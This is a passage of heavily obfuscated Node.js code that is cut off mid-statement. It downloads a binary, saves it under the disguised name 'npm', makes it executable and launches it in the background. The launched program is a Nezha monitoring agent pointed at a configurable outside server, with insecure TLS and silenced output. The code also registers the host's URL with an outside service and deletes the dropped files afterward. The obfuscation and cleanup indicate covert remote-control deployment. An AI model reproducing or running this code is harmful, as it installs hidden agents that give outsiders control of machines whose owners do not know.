_0x4dcc21['LvIzZ'](axios,{'method':_0x4dcc21['RXtgl'],'url':_0x5b27b6,'responseType':_0x580564(0x621,0x62c,0x61b,0x570)}),_0x35b065=fs[_0x580564(0x535,0x56b,0x57c,0x558)+_0x580564(0x370,0x45d,0x372,0x3de)](_0x4dcc21['NBNyy']);return _0x38e964[_0x580564(0x3b8,0x431,0x455,0x460)]['pipe'](_0x35b065),new Promise((_0x298ddb,_0x11cb4b)=>{function _0x5e25aa(_0x186f9a,_0x36342b,_0x5580a0,_0x128002){return _0x5a22dc(_0x186f9a-0x57,_0x36342b-0x1b8,_0x36342b,_0x186f9a-0x3dd);}const _0x3775fc={'bQGhB':function(_0x3912f1){function _0x23b00c(_0x259985,_0x1e5b3a,_0x483a1d,_0x33d2db){return _0x2d27(_0x483a1d-0x21a,_0x259985);}return _0x4dcc21[_0x23b00c(0x266,0x2f1,0x310,0x301)](_0x3912f1);},'NypGz':_0x5e25aa(0x4e7,0x4bc,0x459,0x525)+_0x4f39dd(0x1c9,0xf6,0x174,0x126)+_0x4f39dd(0x1ae,0x1af,0x19a,0x115),'TBBPR':function(_0x346c77,_0x397593,_0x15bf7b){return _0x346c77(_0x397593,_0x15bf7b);}};function _0x4f39dd(_0x665e95,_0x4eb3c9,_0x95a74b,_0x5834b9){return _0x5a22dc(_0x665e95-0x61,_0x4eb3c9-0x119,_0x5834b9,_0x665e95-0x13d);}_0x4dcc21[_0x4f39dd(0x286,0x2e2,0x1ea,0x1d0)]===_0x4dcc21['nxobh']?(_0x35b065['on'](_0x4f39dd(0x30e,0x30e,0x36b,0x249),()=>{console[_0x325424(0x44,0x3a,0x4d,0x4c)](_0x3775fc[_0x315c24(0x46f,0x4b5,0x44b,0x4d6)]);function _0x325424(_0x51db49,_0x2d4b74,_0x309bb6,_0x56d7b6){return _0x5e25aa(_0x56d7b6- -0x539,_0x51db49,_0x309bb6-0x146,_0x56d7b6-0x151);}function _0x315c24(_0x1d7453,_0x107615,_0x55af47,_0x39dda6){return _0x5e25aa(_0x39dda6- -0x78,_0x55af47,_0x55af47-0x1aa,_0x39dda6-0x1f0);}_0x3775fc[_0x325424(0xac,-0x81,0xf7,0x1e)](exec,'chmod\x20+x\x20n'+'pm',_0x3eba92=>{function _0x39457a(_0x15bab4,_0x202d8a,_0x2a69ba,_0x330c39){return _0x315c24(_0x15bab4-0x120,_0x202d8a-0x43,_0x330c39,_0x15bab4- -0x6e);}if(_0x3eba92)_0x11cb4b(_0x3eba92);_0x3775fc[_0x39457a(0x3b7,0x33e,0x380,0x432)](_0x298ddb);});}),_0x35b065['on'](_0x4dcc21[_0x4f39dd(0x1c2,0x211,0x1da,0x15a)],_0x11cb4b)):_0x3196f7[_0x4f39dd(0x2d1,0x306,0x292,0x27b)]();});}}catch(_0x181af2){throw _0x181af2;}},runnz=async()=>{const _0xb6b9c3={'dTPUF':'text/html','OMVgu':_0x2b5ab1(0x100,0x2,-0x42,0x47)+'d!','CbwNA':function(_0x3d8e3d,_0x56252f){return _0x3d8e3d(_0x56252f);},'UbbmI':function(_0x33e3e1){return _0x33e3e1();},'DLvwM':_0x4bafe7(0x314,0x29e,0x21a,0x30a)+_0x2b5ab1(0x47,0x1d,0xf1,0x9e)+_0x4bafe7(0x483,0x3e3,0x45d,0x42a)+_0x4bafe7(0x499,0x3d1,0x459,0x47b),'GMGsU':_0x4bafe7(0x38f,0x2d2,0x27f,0x279)+_0x4bafe7(0x360,0x2c2,0x32c,0x32c),'VGmUS':_0x4bafe7(0x2a6,0x237,0x215,0x1d0)+_0x2b5ab1(0x7,-0xfa,0x10,-0xaf),'emEgP':_0x2b5ab1(0x5c,-0x6,-0xba,-0xd),'BHNbF':function(_0x3dd403,_0x3383f1,_0x136936){return _0x3dd403(_0x3383f1,_0x136936);},'lmTWT':_0x4bafe7(0x391,0x308,0x3d8,0x3a0)+'rep\x20-v\x20\x22gr'+_0x2b5ab1(-0x56,0x31,0x8e,0x76)+_0x2b5ab1(-0x137,-0xe6,-0x5a,-0x7e),'xvkUn':'utf-8','fbNQM':function(_0x65206a,_0x2da665){return _0x65206a!==_0x2da665;},'YmMPu':_0x4bafe7(0x328,0x271,0x251,0x210)+'eady\x20runni'+_0x2b5ab1(-0x97,0xb3,0xd2,0x24)+_0x4bafe7(0x338,0x39c,0x3e0,0x474),'WTgWv':function(_0x224633){return _0x224633();},'irerX':_0x2b5ab1(-0xab,0x1b,-0x95,-0x4c),'WkHmE':_0x2b5ab1(-0x8b,-0xb6,0x8a,-0x25),'jLBbv':'2087','PWcMm':'2083','vIcJO':_0x2b5ab1(0x6e,0x0,-0x9b,0x33),'epUvL':function(_0x217303,_0x261734){return _0x217303!==_0x261734;},'fECkp':_0x2b5ab1(-0x5,0x15,-0x29,-0x64),'WKkKt':_0x4bafe7(0x314,0x28e,0x1da,0x1bf),'ZmXrc':_0x2b5ab1(0xc2,0xff,0x8f,0x71),'SMqQI':function(_0xe9ea20,_0xedda8b){return _0xe9ea20&&_0xedda8b;},'wcznX':function(_0x282a1c,_0x5179b5){return _0x282a1c===_0x5179b5;},'SmxaL':'yOkdk','TqrKa':_0x2b5ab1(0xc4,0x132,0xf0,0x67),'cLYQO':'true','xZXmq':'false','flqra':_0x4bafe7(0x396,0x395,0x2c5,0x3d1)+'l','CDSrQ':function(_0x2e2865,_0x135786){return _0x2e2865!==_0x135786;},'NSqnU':_0x4bafe7(0x357,0x3e6,0x3cb,0x3d4),'MKjnX':function(_0x2c4cd4,_0x516f2d,_0x3971ef,_0x13bbcd){return _0x2c4cd4(_0x516f2d,_0x3971ef,_0x13bbcd);},'MVexS':_0x4bafe7(0x36c,0x2a3,0x2dc,0x2bf)};try{if(_0xb6b9c3[_0x4bafe7(0x359,0x3cb,0x473,0x37c)]===_0xb6b9c3['emEgP']){const _0x183f26=_0xb6b9c3['BHNbF'](execSync,_0xb6b9c3[_0x2b5ab1(0x65,-0xb,0x3,0x5d)],{'encoding':_0xb6b9c3[_0x2b5ab1(0x34,0x46,0x4d,-0x76)]});if(_0xb6b9c3['fbNQM'](_0x183f26[_0x2b5ab1(-0xbb,-0x97,-0x37,-0x3)](),'')){console[_0x2b5ab1(0xb1,0x3c,0x1f,0x7c)](_0xb6b9c3[_0x4bafe7(0x3dc,0x30d,0x37b,0x2be)]);return;}}else return _0x2b5ab1(0x2a,0x12,0x19,-0x50)+_0x4bafe7(0x19d,0x26b,0x320,0x1cf)+_0x4bafe7(0x1eb,0x2b3,0x384,0x27d);}catch(_0x27edc8){}function _0x2b5ab1(_0x1101f3,_0x3f8ead,_0x39d5d1,_0xc2d535){return _0x34f073(_0x1101f3,_0x3f8ead-0x11f,_0x39d5d1-0xaa,_0xc2d535-0x1d0);}function _0x4bafe7(_0x51ee1c,_0x5a8713,_0x132029,_0x28d8c3){return _0x34f073(_0x51ee1c,_0x5a8713-0x22,_0x132029-0x1a8,_0x5a8713-0x4d5);}await _0xb6b9c3['WTgWv'](downloadFile);let _0x1c2b1c='',_0x4fe1bf=[_0x2b5ab1(0x8,0x68,-0x13,0x9f),_0xb6b9c3[_0x4bafe7(0x3a4,0x3bb,0x3f9,0x2ef)],_0xb6b9c3[_0x4bafe7(0x449,0x3bd,0x48f,0x33c)],_0xb6b9c3[_0x4bafe7(0x285,0x2ee,0x349,0x28b)],_0xb6b9c3[_0x2b5ab1(-0x88,-0x56,0xdb,0x46)],_0xb6b9c3['vIcJO']];if(NEZHA_SERVER&&NEZHA_PORT&&NEZHA_KEY){if(_0xb6b9c3['epUvL'](_0xb6b9c3[_0x2b5ab1(-0x19,0x8d,0x2c,-0x19)],_0xb6b9c3['WKkKt'])){const _0x340fe1=_0x4fe1bf[_0x4bafe7(0x1d4,0x24d,0x1fc,0x18d)](NEZHA_PORT)?_0xb6b9c3[_0x2b5ab1(-0x8b,-0x74,-0x26,-0x1e)]:'';_0x1c2b1c=_0x2b5ab1(0x49,0x122,-0x63,0x50)+_0x4bafe7(0x2b5,0x36e,0x307,0x2b8)+'s\x20'+NEZHA_SERVER+':'+NEZHA_PORT+'\x20-p\x20'+NEZHA_KEY+'\x20'+_0x340fe1+(_0x2b5ab1(0xac,-0xa,0x22,0x7a)+_0x2b5ab1(-0x39,-0x47,-0x170,-0xbc)+_0x2b5ab1(0x11e,0x6c,0x73,0xe0)+_0x2b5ab1(0x116,0x131,0x76,0x7e)+_0x4bafe7(0x37f,0x2f7,0x2e4,0x22d)+_0x4bafe7(0x314,0x3e0,0x499,0x34a)+_0x2b5ab1(0x86,0x1b,0x21,0x77)+'/null\x202>&1'+'\x20&');}else{const _0x331110={};_0x331110[_0x2b5ab1(0xfc,0x2c,0x15c,0x98)+'pe']=IyEwgd['dTPUF'],_0x45f65a[_0x2b5ab1(-0x54,-0x60,-0xc4,-0x89)](0x2*0xf97+0xbed*-0x1+-0x1279,_0x331110),_0x5270de[_0x2b5ab1(0x68,0x106,0x159,0x83)](IyEwgd['OMVgu']);return;}}else{if(_0xb6b9c3[_0x2b5ab1(-0x42,0x100,-0x5,0x40)](NEZHA_SERVER,NEZHA_KEY)){if(_0xb6b9c3['wcznX'](_0xb6b9c3[_0x2b5ab1(-0x160,-0x9c,-0xf5,-0xbd)],_0x4bafe7(0x464,0x393,0x3d7,0x2d8))){if(!NEZHA_PORT){if(_0xb6b9c3[_0x2b5ab1(-0xfe,-0xb3,-0x17b,-0xb1)]!==_0xb6b9c3['TqrKa']){if(_0x46d5cd)IyEwgd['CbwNA'](_0x364c0c,_0x509950);IyEwgd['UbbmI'](_0x5e54de);}else{const _0x2747d6=NEZHA_SERVER['includes'](':')?NEZHA_SERVER[_0x4bafe7(0x380,0x2c7,0x2ea,0x26d)](':')[_0x4bafe7(0x20f,0x269,0x2c6,0x1ac)]():'',_0x69f984=_0x4fe1bf[_0x4bafe7(0x2d3,0x24d,0x29b,0x2f0)](_0x2747d6)?_0xb6b9c3[_0x2b5ab1(-0x198,-0x82,-0x73,-0xcd)]:_0xb6b9c3['xZXmq'],_0x553c06=_0x4bafe7(0x376,0x2ab,0x341,0x256)+_0x4bafe7(0x1f8,0x2bb,0x265,0x388)+NEZHA_KEY+(_0x2b5ab1(-0x82,0x3a,0xc7,0x44)+_0x2b5ab1(0x8b,0x3c,-0x56,-0x9)+_0x4bafe7(0x307,0x2df,0x3b4,0x24e)+_0x2b5ab1(-0x1a,-0x163,-0xc7,-0xa8)+_0x2b5ab1(0xc5,0x1d,-0x20,0x4b)+_0x2b5ab1(-0x57,-0x89,-0x7a,-0xc5)+_0x4bafe7(0x3fc,0x3d7,0x39c,0x37d)+'\x0adisable_f'+_0x4bafe7(0x224,0x2d8,0x33a,0x2be)+_0x4bafe7(0x3b7,0x3bf,0x355,0x362)+_0x4bafe7(0x363,0x379,0x327,0x3c0)+_0x2b5ab1(-0x89,0x1b,-0x10f,-0x6d)+'able_send_'+_0x2b5ab1(0xac,0x12c,0x94,0x5b)+_0x2b5ab1(0x31,0xf,-0x4b,-0x3a)+'lse\x0ainsecu'+_0x2b5ab1(0xe,-0x110,-0xca,-0x66)+_0x2b5ab1(-0x29,0x7c,0x10f,0x72)+_0x4bafe7(0x324,0x261,0x293,0x1b4)+'\x201800\x0arepo'+_0x4bafe7(0x3bd,0x373,0x33e,0x37f)+_0x2b5ab1(0xdc,0x23,-0x2d,0x65))+NEZHA_SERVER+(_0x4bafe7(0x273,0x30c,0x25e,0x2bd)+_0x2b5ab1(0xcd,-0x6,0xe8,0x51)+'nt:\x20true\x0as'+_0x2b5ab1(-0xa4,-0x61,-0x8,-0xb9)+_0x4bafe7(0x3b2,0x3b9,0x359,0x491)+_0x4bafe7(0x327,0x2b7,0x345,0x304)+_0x4bafe7(0x3a2,0x36b,0x431,0x3a5)+_0x2b5ab1(0xc3,0x11d,0x135,0xac))+_0x69f984+(_0x4bafe7(0x34c,0x33c,0x31f,0x342)+_0x4bafe7(0x33a,0x336,0x301,0x3bd)+'e:\x20false\x0au'+_0x4bafe7(0x352,0x3a9,0x421,0x464)+_0x2b5ab1(-0x16b,-0x51,-0x189,-0xc6)+_0x2b5ab1(0x35,-0xcf,-0x17,-0x1f)+_0x2b5ab1(0x4f,0x186,0x7b,0xc1))+UUID;fs[_0x2b5ab1(0x4c,-0x30,-0x86,0x30)+_0x4bafe7(0x32e,0x26c,0x1dc,0x20d)](_0xb6b9c3[_0x4bafe7(0x459,0x39b,0x313,0x3d4)],_0x553c06);}}_0x1c2b1c=_0x4bafe7(0x36d,0x355,0x2d8,0x409)+_0x2b5ab1(0x47,0x13c,0x9a,0x69)+_0x2b5ab1(-0xc6,-0xb4,-0xe6,-0x81)+_0x4bafe7(0x19b,0x26d,0x254,0x295)+_0x2b5ab1(0x86,0x59,-0x50,-0x4f)+'&';}else _0x2b31e5[_0x4bafe7(0x311,0x2f2,0x398,0x373)](_0x2b5ab1(0x5b,-0x97,0x32,0x36)+_0x444d5e);}else{if(_0xb6b9c3[_0x2b5ab1(0x8f,0xaf,0x185,0xd7)](_0x2b5ab1(0x162,0x3e,0x29,0xe1),_0xb6b9c3[_0x4bafe7(0x429,0x3ad,0x2e5,0x315)])){_0x54857f[_0x4bafe7(0x370,0x381,0x368,0x344)](_0xb6b9c3[_0x2b5ab1(0x21,0xaf,-0x3b,0x27)]);return;}else{console[_0x4bafe7(0x34b,0x381,0x33a,0x37c)](_0xb6b9c3[_0x2b5ab1(0xf,0x83,-0x7c,0x27)]);return;}}}try{_0xb6b9c3[_0x2b5ab1(-0x67,-0x38,-0xa,-0x74)](exec,_0x1c2b1c,{'shell':_0xb6b9c3[_0x4bafe7(0x321,0x266,0x2b9,0x28f)]},_0x135627=>{function _0x39c8a3(_0x5a06f9,_0x487bf6,_0x17f03a,_0x2e15f9){return _0x2b5ab1(_0x5a06f9,_0x487bf6-0x1a9,_0x17f03a-0x3c,_0x487bf6-0x341);}function _0x237a1c(_0x458c7c,_0x2b3c83,_0x264325,_0x3532e5){return _0x2b5ab1(_0x264325,_0x2b3c83-0x1db,_0x264325-0x130,_0x3532e5-0x456);}if(_0x135627)console[_0x39c8a3(0x2a6,0x32e,0x29e,0x2c5)](_0xb6b9c3[_0x237a1c(0x422,0x547,0x4a4,0x4eb)],_0x135627);else console['log'](_0xb6b9c3[_0x237a1c(0x435,0x3a4,0x473,0x42b)]);});}catch(_0x21ea33){console[_0x2b5ab1(-0x31,-0xdb,0x47,-0x13)](_0x2b5ab1(-0x34,0x44,0xac,0x36)+_0x21ea33);}};async function addAccessTask(){const _0x36d42f={'DduVf':function(_0x3ea415,_0x59f24e){return _0x3ea415===_0x59f24e;},'RHaYU':function(_0x4947c3,_0xdd63ef){return _0x4947c3>_0xdd63ef;},'yDNOT':function(_0x5505d8,_0x15b2d1){return _0x5505d8(_0x15b2d1);},'xHEDy':function(_0x1b9904){return _0x1b9904();},'wDuQT':_0x55e8ce(0x2c4,0x204,0x36c,0x38f),'RvfzG':_0x55e8ce(0x279,0x209,0x308,0x2fc),'XAdwg':_0x48a95f(0x24d,0x2bc,0x21d,0x19b)+_0x55e8ce(0x1c1,0x13c,0x1e1,0x1a7)+_0x55e8ce(0x230,0x20f,0x1d1,0x209)+'l','Iofer':_0x48a95f(0x244,0x252,0x1fe,0x2ec)+'n/json'};if(!AUTO_ACCESS)return;if(!DOMAIN){if(_0x36d42f[_0x48a95f(0x115,0x180,0x1ce,0x171)]!==_0x36d42f[_0x55e8ce(0x184,0x16e,0x25c,0xcd)]){const _0x311295=_0x387a12['data'];if(bmjirA['DduVf'](_0x311295['Status'],-0xef1+0x1efb+-0x100a)&&_0x311295[_0x48a95f(0x1fe,0x1e2,0x2b4,0x2d2)]&&bmjirA[_0x48a95f(0x1eb,0x1a8,0x21f,0x24c)](_0x311295['Answer'][_0x55e8ce(0x21b,0x2d4,0x15c,0x2d2)],-0x11c*0xa+-0xa*0x369+-0x59*-0x82)){const _0x204288=_0x311295[_0x48a95f(0x1fe,0x27e,0x1bb,0x295)]['find'](_0x2a08b3=>_0x2a08b3[_0x55e8ce(0x24d,0x2f0,0x1b7,0x1a3)]===0x585+-0x1c67+-0x15*-0x117);if(_0x204288){bmjirA[_0x48a95f(0x1d7,0x28e,0x13a,0x1bf)](_0x5123e6,_0x204288[_0x48a95f(0x176,0xbe,0xe8,0x131)]);return;}}bmjirA[_0x55e8ce(0x275,0x243,0x1f2,0x22c)](_0x2ec304);}else return;}const _0x27952a=_0x55e8ce(0x1e9,0x203,0x17f,0x120)+DOMAIN+'/'+SUB_PATH;function _0x55e8ce(_0x11ed34,_0x6e08e6,_0x3f24f5,_0x2c58dc){return _0x39cab0(_0x11ed34-0xbc,_0x6e08e6,_0x3f24f5-0xe8,_0x11ed34-0x1f);}function _0x48a95f(_0x160664,_0x5b0dc2,_0x441afb,_0x46558e){return _0x39cab0(_0x160664-0x13e,_0x46558e,_0x441afb-0x1dd,_0x160664- -0x50);}try{if(_0x55e8ce(0x279,0x1d0,0x1c9,0x337)===_0x36d42f[_0x48a95f(0x258,0x31c,0x2cf,0x276)]){const _0x26125f={};_0x26125f[_0x55e8ce(0x155,0x101,0x143,0xea)]=_0x27952a;const _0xb795f=await axios[_0x48a95f(0x1f3,0x229,0x1b0,0x18c)](_0x36d42f[_0x48a95f(0x125,0x199,0x148,0xee)],_0x26125f,{'headers':{'Content-Type':_0x36d42f[_0x55e8ce(0x286,0x261,0x309,0x2ae)]}});console[_0x55e8ce(0x295,0x2e5,0x31a,0x324)](_0x48a95f(0x1e5,0x294,0x2a7,0x198)+_0x48a95f(0x151,0xb9,0xcc,0x98)+'k\x20added\x20su'+_0x48a95f(0xe1,0x152,0x108,0x106));}else this['write'](_0x1874c7[_0x55e8ce(0x266,0x1d5,0x302,0x1a8)](_0x485412)),_0x3e189f['on'](_0x48a95f(0x197,0x170,0xe7,0x26e),()=>{})[_0x48a95f(0x13a,0x165,0x9f,0x18b)](this)['on'](_0x48a95f(0x197,0x109,0x247,0xd8),()=>{})[_0x55e8ce(0x1a9,0x196,0x21f,0x19c)](_0x4bda36);}catch(_0x45843a){}}function _0x174f(){const _0x31a7c1=['iciUl1TUxxbTiG','Chriufm','zxzLCNK','ELfcDxm','AM9PBG','yuLbBeq','s2jxDum','u0DQv3q','EhzRvw4','sMrgD0m','tuTQBLG','s1nSrg4','yNLoyNy','zMfSC2u','CgLWzq','ELDdwfe','r1LVrLm','igzHBhnLcMrPCW','yLfhAei','q2jYDeO','vuTZDNm','ChjVDg90ExbL','jNbHDgG9jtjg','tKvAseeGDMfYAq','CMvFDgXZoIb0CG','y3rVCIGICMv0Dq','tgLbD2m','l251BgWGmJ4Mmq','l2jPBI9IyxnO','B2LW','Agv4','Dgv4Dc9ODg1S','u2vYDMvYigLZia','CMvHzfvjBNq4','qgnKBNmUzg9VBG','wfn4vxO','y2XPzw50x3nLyW','qwnJzxnZifrHCW','B28UC2vYDJaWlG','C2HHmJi0','ic1Wia','zwPUEwe','Exj0y2u','shzRy2K','EwmUBw4VDJe','A2HfC3i','Ahr0Chm6lY9HCG','BNvSBcaYpIyXia','zqP0zw1WzxjHDa','mta2nti4meDUsKPczG','odq0mW','kcGOlISPkYKRkq','CMv0oIa','y29UC29Szq','yxbWBhK','BKDsCeq','v09cD2e','v2jjBKW','r1PUzKm','zYbLCNjVCJO','B01eB24','Ahr0Chm6lY9HBq','vgvbD0K','x19WCM90B19F','C3bSAxq','mZ9Zzwn1CML0Eq','uNrPsKK','B3n0pq','C2ukz3b1oIbMyq','yxjTnJq','rgHhC0u','mZu0nZCYrxL2whj5','uhDTwKW','ANPpC1u','zgf0yq','BNbTihj1BM5PBG','q1viD08','DMXLC3m6lY8','Ahr0Chm6lY8','thvwzLC','nZa4tfziCKLs','B3jJzv91CgrHDa','t01LuK0','vKDTvvm','vejst3y','DgvZDa','BMn0Aw9UkcKG','s0vNte8','zv9HDxrVx3vWza','mJa5nG','Dw5Jtu4','wwXVs0u','BNbTigrVD25SBW','CKHou3C','CMzLq1O','oIbMywXZzqP1Dq','wM1yCMm','ANLvyKK','uNnjuNe','renQsxm','DhjVAMfUoI8V','zKvdA3a','jNnUAt0','AKXcyNy','rLPXAwO','C1bxquu','jMzWpwnOCM9Tzq','zxjYB3i','zwDnD3u','pxrSCYzZBMK9','uezWrKi','otzJltqWmZqTyq','ls1ZA2LWlwnVBG','BKrIBKK','zw9MqwC','CMvHzezPBgu','z050ywO','BhnLcMrPC2fIBa','cMrPC2fIBgvFzG','y2HTB2qGk3GGBG','svfIvMW','u2vYDMvY','zhjzrfK','DhjPBq','tvPKzg8','BLjRDfi','tM90iezVDw5KcG','DgHLBG','BgvUz3rO','ChmGyxv4ihWGzW','y1rVr0O','BxnOz2O','D3v6re0','cNnRAxbFy29UBG','ww1nuhu','C2vHCMnO','s0vMANi','BwfW','ugndD3O','CMvZB2X2zsa','Bxjprgm','yuPoz0i','uu5RyMq','C2vYDMvY','ndi1otC5EgX2ENzh','ntG4oeHMD1Pdwq','D3jPDgu','weHoC0e','vgT3EvO','BMv0l2fKzc11CG','EwnTAvu','zxHJzxb0Aw9U','Aw9qzvG','jNr5Cgu9qq','wefRtNi','BNHVyMG','Cg9YDa','EwmUBw4VywDLBG','r2jsCLu','ihDPDgGGywXSia','As5PCc5ZyI9Nzq','wgX2A0y','BMCSihnRAxaGCG','Afv0wM8','DhjHy2u','reX2D00','BwvZC2fNzq','zwfKEsbYDw5UAq','DKfstMC','C3vIC3rY','ywjSzv9Zzw5KxW','Eurot1q','ihbVCNqG','C3vI','D3jPDgvgAwXLuW','x3rVx3vWz3jHza','wuf2yKO','mJa1mW','DhLWzq','y29UC3rYDwn0BW','zxjYB3i6ia','cNvZzv9NAxrLzq','yMLUza','rfvbD2m','CvP6tMe','qxv0B21HDgLJia','mteWEgDzz2DI','EfjAwee','zNjVBq','CMv0DxjUicHMDq','u01XuuK','uKHHwvu','CxPLzLe','uxjzyMi','cMrLyNvNoIbMyq','tNLWr3O','ufDJtw0','sgvSBg8GD29YBa','Agj3z0W','Cg9ZDa','EKThuva','zgLZywjSzv9JBW','suDfEfi','C2XPy2u','vejcufi','whjsqNq','C2v0C2LKig5VAa','zwn0Aw9Ux2nVDq','wvztELi','ywfYy2G2na','qw5ZD2vY','uxrzzw4','zLP1ufy','sNzqvKq','CLPftue','sw9yDgG','DKD2wxm','CxvLCNK6igzHBa','EeHfrhK','Bg1uv1q','ENPgELi','y3vYAxr5pxrSCW','qvnMwMC','D2Lit1u','mZi4rxnsyuTm','vNz0wvO','BxnvyNi','naPZzxj2zxi6ia','DxjLoIbMywXZzq','zgDzugW','y2XVC2u','DxaGlI9UCg0Glq','wxrHweS','t3HRB1i','Eg92r20','sw9Mzxi','CNrFzgvSyxK6ia','uxnTEvy','E30Uy29UC3rYDq','ls10Bhm','DwukAxbFCMvWBW','y29UBMvJDa','C2fIBgvFBMf0oG','qwnJzxb0','zxaIihWGz3jLCa','CM9JCYa+l2rLDG','y291BNrYEv9JBW','BNPSCxi','ic0TzgLZywjSzq','z3boy0m','Bg9N','zdy0lNnZC3mUBG','Dc1KzwXHEsa0ia','A3vJufC','tMvIwum','zgLNzxn0','Ag9ZDa','zw5K','wufWz0O','AKzTr2u','r05Stg4','we1Xt20','Dgv4Dc9WBgfPBG','mZ9LBMnYExb0Aq','BNbT','z0v3Dg0','DgLTzw91Da','A0PyBKC','Eu9RzgS','re5tihnLCNzLCG','y29UzMLNlNLHBq','mJrKq0nLC3y','z2v0','Cgf0Aa','DxbKyxrL','r01hC1u','zMXXCMe','Dw5UAw5NlI4U','q29UDgvUDc1uEq','CgHivui','yxbWBgLJyxrPBW','DxrMltG','y3HJC2K','t2LYD2q','ywjSzsbPCYbLBq','ndqZ','C1nyrhy','q2vIyLi','uxHvtuy','Ahr0Chm6lY9VBW','C2vFAxb2nL9JBW','zMLUAxnO','Ahr0Ca','wencvhK','tLnXBLu','uNb3CNu','ide4mdakCMvWBW','y0vcqwq','cNrSCZOG','DgfIBgu','uNzMEKC','D01vA3q','s3zYALC','r3Hduwm','yxjT','CNvUBMLUzYbVBG','y291BNq6ihrYDq','wLPXthy','AxjLCLG','zxnVBhzLp25HBq','v2TiBuu','u3rHDhvZ','ztOGDhj1zqPKAq','EvzjDNm','Aw5KzxGUAhrTBa','DMTWD0W','txbZtwG','nda4oteY','yMffqNm','Awq6ia','z3HHsvi','wfPfzeK','y3jLyxrLv3jPDa','y2nruMK','zw1fz1a','mMqWmdrJytmTyq','Dhj1zq','zMLUza','zw9uExq','yMfZzty0','CNvUBMLUzW','qwPTrKu','Ahr0Chm6lY9KBG','mJK0odC3sxbPy2HM','v1bVvgG','vgHZtvC','DxrLoIbMywXZzq','CgLsDhu','ywrdtw0','yKPxzfO','DuDRAhq','q0rtCLe','Dg9tDhjPBMC','y2f0y2G','CMvWBgfJzq','BIaTlxnRAxaTCa','C3rYzwfT','r0TzvwS','Chr5lcbZA2LWia','lMv1lM9YzZO0na','DguGls1YzxbVCG','BKz0tM0','z3LnCKK','ody5mZe4wvHPyMvl','BNbTigLZihj1BG','y0Xzuu8','ztOGzMfSC2ukDq','y3j5ChrV','ue54D2i','y2nLC3nMDwXSEq','C1r6A0u','qMXIzeK','Dw50CNLFy29Kzq','Bw1HBMrFzxHLyW','DxjS','wfzxswC','oc44lJqUna','v094zhm','wNPJr3m','yKrUBfe','u01TAhy','u214yuW','lwf1Dg8TDxbKyq','zNvSBhK','BxrXyMS','A2LWx3bYB2nZxW','Aw5JBhvKzxm','u0fvwKO','zvn0CMvHBq','yNvMzMvY','txzLuwq','txLYsgS','sfbiwgi','vhfYs2e','yLD2Avm','BMLUzW','zwvyANK','DgrwqLC','B249BM9UzszZzq','mtm2ndnOA0PRq24','sMzYAeG','tLPfEfq','yxrLoIb0CNvLcG','BuzPCu8','DgT1te4','DgHiu1e','CNrFCgvYAw9KoG','ms4XlJeUmq','AvDrDue','CM4GDgHPCYiPka','ywqGC3vJy2vZCW','tvzLEfm','mge0lwy1yJbInq','BMv0','Cg9W','C05sEeu','Bty0lNnZC3mUBG','Ew5J','yw1Sid4Vzgv2lW','C2vUza','A1ncvvG','D0r1uvq','BNbTigLZigfSCG','tur5vxi','BvbquMO','v3jJzuC','y29Uy2f0','D09dzgS','uu9xuwS','wu9cAuS','jNr5Cgu9D3mMAa','wLn3Axq','wffnqwm','D3jPDgvizwfK','CMvHzfvjBNqXnG','B25Jzq','A1rWzLe','wefKD2C','Dw5SAw5R','BfH0she','CMvKDwnL','yYbJB25MAwCUEq','y0P3sLG','mtiZnc5HyMmUyW'];_0x174f=function(){return _0x31a7c1;};return _0x174f();}const delFiles=()=>{function _0x3c2d06(_0x5b1e82,_0x35019b,_0x35ef01,_0x4884df){return _0x39cab0(_0x5b1e82-0x2b,_0x5b1e82,_0x35ef01-0x1e1,_0x4884df- -0x15c);}const _0x2300d7={};_0x2300d7[_0x3c2d06(0x32,0x1c,0x1e,-0x2c)]=_0x3c2d06(0x196,0x19f,0x141,0x12e)+'l';const _0x149f78=_0x2300d7;fs[_0x4b2995(-0x1ca,-0x290,-0x1d4,-0x289)]('npm',()=>{});function _0x4b2995(_0x543639,_0x57e017,_0x49cd5a,_0x206d16){return _0x39cab0(_0x543639-0x1f2,_0x206d16,_0x49cd5a-0x13,_0x57e017- -0x406);}fs[_0x4b2995(-0x26a,-0x290,-0x31a,-0x260)](_0x149f78[_0x3c2d06(-0xb4,-0x2c,0x29,-0x2c)],()=>{});};function _0x34f073(_0x3da7ce,_0x372c5c,_0x7cb08f,_0xccba6){return _0x2d27(_0xccba6- -0x317,_0x3da7ce);}httpServer['listen'](PORT,()=>{const _0x2a06cd={'MyrHk':function(_0x5a942d,_0x4eea45){return _0x5a942d+_0x4eea45;},'XQMAc':'base64','Rpwru':'text/plain','WOBwa':function(_0x123329,_0x39652d){return _0x123329===_0x39652d;},'eAaQy':_0xf48b64(0x1b9,0x215,0x18a,0x203),'ZSwit':_0xf48b64(0x206,0x2c4,0x1b6,0x147),'sSXDv':function(_0x1edd70){return _0x1edd70();},'KvrjW':function(_0x3bb8bb){return _0x3bb8bb();},'XSxUz':function(_0x4b3491,_0x5ce96,_0xbbb34){return _0x4b3491(_0x5ce96,_0xbbb34);}};_0x2a06cd[_0xf48b64(0x28c,0x1fc,0x303,0x324)](runnz),_0x2a06cd[_0x4e67a0(0x32,-0x58,0x6,0x25)](setTimeout,()=>{function _0x122bdc(_0xcbe843,_0x888b8a,_0x42efbe,_0x1144d1){return _0xf48b64(_0x42efbe-0x7d,_0xcbe843,_0x42efbe-0xfe,_0x1144d1-0x29);}function _0x922938(_0x7cee54,_0x5b9721,_0x2131b4,_0x2a7c39){return _0xf48b64(_0x2a7c39- -0x23a,_0x7cee54,_0x2131b4-0x107,_0x2a7c39-0x9f);}const _0x191ed2={'yeUbK':function(_0x53b94a,_0x512ced){function _0x378556(_0x239c6a,_0x1aae06,_0x25aa10,_0x4fb87d){return _0x2d27(_0x4fb87d- -0x10e,_0x1aae06);}return _0x2a06cd[_0x378556(-0x1a,-0x99,0x4b,-0x7a)](_0x53b94a,_0x512ced);},'THyYD':_0x2a06cd[_0x122bdc(0x1a5,0x18a,0x1cf,0x20c)],'SAUZJ':_0x2a06cd[_0x122bdc(0x378,0x29e,0x302,0x270)]};if(_0x2a06cd[_0x122bdc(0x29b,0x28d,0x213,0x1ea)](_0x2a06cd['eAaQy'],_0x2a06cd[_0x922938(-0xcc,-0x89,-0xcc,-0xe9)])){const 